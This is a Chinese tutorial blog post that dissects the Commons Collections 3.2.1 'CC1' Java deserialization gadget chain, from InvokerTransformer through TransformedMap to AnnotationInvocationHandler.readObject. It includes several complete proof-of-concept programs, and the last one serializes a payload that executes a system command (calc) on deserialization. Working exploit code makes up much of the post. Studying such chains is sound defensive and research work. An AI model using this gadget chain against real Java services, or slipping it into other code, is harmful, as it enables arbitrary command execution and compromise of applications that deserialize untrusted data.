java反序列化(三)CommonsCollections篇 -- CC1

java反序列化(三)CommonsCollections篇 -- CC1

前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

CommonsCollections版本:3.2.1

test : Runtime.getRuntime().exec("calc");

知识准备

知识准备

Class:
Transform
ConstantTransformer
InvokerTransformer
transformerChain
Map
TransformedMap

Gadget chain

One(标准):

Gadget chain:
	ObjectInputStream.readObject()
		AnnotationInvocationHandler.readObject()
			Map(Proxy).entrySet()
				AnnotationInvocationHandler.invoke()
					LazyMap.get()
						ChainedTransformer.transform()
							ConstantTransformer.transform()
							InvokerTransformer.transform()
								Method.invoke()
									Class.getMethod()
							InvokerTransformer.transform()
								Method.invoke()
									Runtime.getRuntime()
							InvokerTransformer.transform()
								Method.invoke()
									Runtime.exec()
Requires:
	commons-collections

---------------------------------------------------------------
Two(this):


poc

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

CC1链分析(从尾到头)

危险函数

//反射调用:
Runtime r = Runtime.getRuntime();
Class c = Runclass.class;
Method execMethod = c.getMethod("exec", String.class);
exec.Method.invoke(r,"clac");
//选取危险函数方法:InvokerTransformer.transfomr()
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"clac"}).transform(Runtime.getRuntime())
    

**InvokerTransformer.transform() -- source**

作用 : 调用输入Object函数名和变量InvokerTransformer.iMethodName相等的函数

参数类型为InvokerTransformer.iParamTypes

参数为InvokerTransformer.iArgs

InvokerTransformer.iMethodName,InvokerTransformer.iParamTypes,InvokerTransformer.iArgs均在调用decorate生成实例的时候确定

相当于 : input.iMethodName(iArgs)input可控

image-20211230212919220

触发危险函数InvokerTransformer.transform()

查找触发危险函数的类:

Map类:

DefaultMap:
DefaultMap.get()

LazyMap:
LazyMap.get()

TransformedMap:
TransformedMap.transformKey()
TransformedMap.transforValue()
TransformedMap.checkSetValue()

在这里选取了TransformedMap类的 TransformedMap.checkSetValue()

需要注意 : 本文中寻找CC链的路径和上面的ysoserial标准Gadget chain链子不一样,标准链中选取的是LazyMap.get()作为触发点

image-20211230220039512

TransformedMap的构造方法:

image-20211230215220831

因为TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer是保护方法,所以需要使用公共的静态函数decorate()调用从而实例化TransformedMap:

image-20211230215421794

触发TransformedMap.checkSetValue()

checkSetValue()的触发点:
AbstractInputCheckedMapDecorator.MapEntry.setValue(Object value)
TransformedMap.decorate(map, null, invokerTransformer).entrySet()->entry.setValue()->AbstractInputCheckedMapDecorator.setValue()->

爷爷:AbstractMapDecorator  执行:this.map = map
爸爸:AbstractInputCheckedMapDecorator  实现了setValue()函数触发checkSetValue()函数
孙子:InvokerTransformer

AbstractInputCheckedMapDecorator(爸爸):
private final AbstractInputCheckedMapDecorator parent;
protected abstract Object checkSetValue(Object value);
public Object setValue(Object value) {
    //parent是执行entrySet()的map(TransformedMap类)
    value = parent.checkSetValue(value);  //触发TransformedMap.checkSetValue()
    return entry.setValue(value);
}


TransformedMap.checkSetValue():
protected final Transformer valueTransformer;	//= decorate函数的第三个参数(InvokerTransformer类)
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);	//在TransformedMap类内实现transform()
}

InvokerTransformer.transform():
public Object transform(Object input) {
   if (input == null) {
     return null;
}
try {
     Class cls = input.getClass();
     Method method = cls.getMethod(iMethodName, iParamTypes);
     return method.invoke(input, iArgs);
}

触发AbstractInputCheckedMapDecorator.MapEntry.setValue()

AbstractInputCheckedMapDecorator.MapEntry.setValue(Object value)的触发点 :

当 TransformedMap执行transformedMap.entrySet()得到的entry[]数组元素都是AbstractInputCheckedMapDecorator类的对象,

可以通过执行以下代码,在entry.setValue打断点确认entry的类型为AbstractInputCheckedMapDecorator

HashMap<Object, Object> map = new HashMap<>();
map.put("set_key", "set_value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
	entry.setValue(r);
}

所以确定AbstractInputCheckedMapDecorator.MapEntry.setValue()的触发点 : 一个TransformedMap的一个键值对entry

中途链子小测试

先做一个由TransformedMap.entrySet()到TransformedMap.transform()的可行性测试:

    public static void main(String[] args) throws Exception {
		//TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()测试
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer= new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"clac"});//.transform(Runtime.getRuntime())
        HashMap<Object, Object> map = new HashMap<>();
        map.put("set_key","set_value");
		//decorate()函数将第二个Transform类型的参数赋值给TransformerMap.keyTransformer
		//将第二个Transform类型的参数赋值给TransformerMap.valueTransformer
        Map<Object ,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
		//setValue()触发checkSetValue(Object value)执行TransformedMap.valueTransformer.transform(value)
            entry.setValue(r);
		}
    }

在setValue()处打断点调试:

image-20211230234219607

image-20211230232829051

image-20211230232601166

代码确实执行到了InvokerTransformer的transform函数,参数对象input就是setValue传入的r但是不知道为什么会报错,麻了

Tips:

entry.setValue(r)函数是从InvokerTransformer的父类AbstractInputCheckedMapDecorator继承而来.

在实例化InvokerTransformer的时候将第一个Map类型的参数通过super(map)传递给父类的父类AbstractMapDecorator,执行this.map = map

触发SetValue() <续&&终点>

寻找执行SetValue()函数会发现有很多类,但是最理想的是sun.reflect.annotation.AnnotationInvocationHandler是最理想的类(看到了希望),因为它的readObject()函数会直接执行SetValue();

image-20211231003350713

image-20211231004457391

可以看到会执行readObject()函数会执行:

memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass()+"[" + value + "]" ).setMember( annotationType.members().get(name) ));

其中memberValue来自memberValues.entrySet()

memberValues为Map类型,可以直接在执行构造函数时定义

private final Map<String, Object> memberValues;

衔接上文可知 : 我们应该将memberValues定义为一个可利用的TransformedMap类

image-20211231004626547

第一个参数Annotation类:

image-20211231023235811

构造AnnotationInvocationHandler类:

//第一个参数(type) : Annotation类型是注解,可以将该参数设为Override.class
//第二个参数(memberValues) : 设置为构造好的TransformedMap对象
    
//Notice:
//	sun.reflect.annotation.AnnotationInvocationHandler类不能通过import后直接new获取,
//	只能通过反射获取	
//	Code:
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);

构造可以递归调用的InvokerTransformer

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

将三个可递归调用的InvokerTransformer放到ChainedTransformer类中:

Transformer[] transformers = new Transformer[]{
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

递归调用原理(令hashMap第三个参数的valuetransformer为一个ChainedTransformer实例,所以最终调用了ChainedTransformer.transform()函数):

image-20211231032412026

由源码可知,因为我们令iTransformers[]数组为以上的transforms数组,所以会逐步执行:

object = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}); 
//相当于执行了object1 = object.getMethod("getRuntime")

object = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(object1)
    //相当于 object2 = object1.invoke()
    
object = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(object2)
   //相当于执行了 object3 = object2.exec("calc")
    
//最终相当于执行了:  object.getMethod("getRuntime").invoke().exec("calc")

所以如果只是以上代码只会执行object.getMethod("getRuntime").invoke().exec("calc")

使object = Runtime.class

通过修改transformers数组使object = Runtime.class , 上面的代码就会执行Runtime.class.getMethod("getRuntime").invoke().exec("calc")

修改方法:

在修改前传入的object 等于 AnnotationInvocationHandler.readObject()中的new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))

image-20211231040337788

AnnotationTypeMismatchExceptionProxy类对我们来说无法使用,所以在transformers之前加上一个ConstantTransformer类,就可以在递归调用以上的iTransform[i].trasfrom()之前使object Runtime.class

因为不管传入的参数是什么,ConstantTransformer.transform()只会返回ConstantTransformer.iConstant

image-20211231034953970

ConstantTransformer.iConstant可以在ConstantTransformer实例化的时候自定义

image-20211231035024190

使实例化的ConstantTransformer.iConstant = Runtime.class

因为ChainedTransformer.ITransformers[0] = transformers[0];

所以在执行ChainedTransformer.transform()的开始会先执行:

object = ChainedTransformer.ITransformers[0].transform(AnnotationTypeMismatchExceptionProxy) = ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy) = ConstantTransformer.iConstant = Runtime.class

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("set_key", "set_value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        for (Map.Entry entry : transformedMap.entrySet()) {
            entry.setValue("a");
        }
    }

其它问题(AnnotationInvocationHandler)

如果AnnotationInvocationHandler的type参数为Override.class就不会执行命令

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
}

因为AnnotationInvocationHandler.readObject()函数中,如果要执行memberValue.setValue( new AnnotationTypeMismatchExceptionProxy )

需要先通过判断if (memberType != null)

所以需要满足条件 : AnnotationType.getInstance(type).memberTypes().get(memberValue.getKey()) != null

AnnotationType.getInstance(type).memberTypes()就是实例化AnnotationInvocationHandler时第一个参数里面的的成员方法名

memberValue.getKey()是从TransformedMap的键值对获取的键名,

所以需要满足: map的键名 = AnnotationInvocationHandler的type参数类中的一个成员方法名

Target.class 有一个value()函数,所以可以得到POC:

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class test {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "set_value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerconstructor.setAccessible(true);
        Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("D:/cc1.bin");
        ObjectOutputStream objectoutputStream = new ObjectOutputStream(fileOutputStream);
        objectoutputStream.writeObject(annotationInvocationHandler);

        FileInputStream fileInputStream = new FileInputStream("D:/cc1.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object o = objectInputStream.readObject();

    }

}

posted @ 2022-04-25 12:43  h0cksr  阅读(652)  评论(0编辑  收藏  举报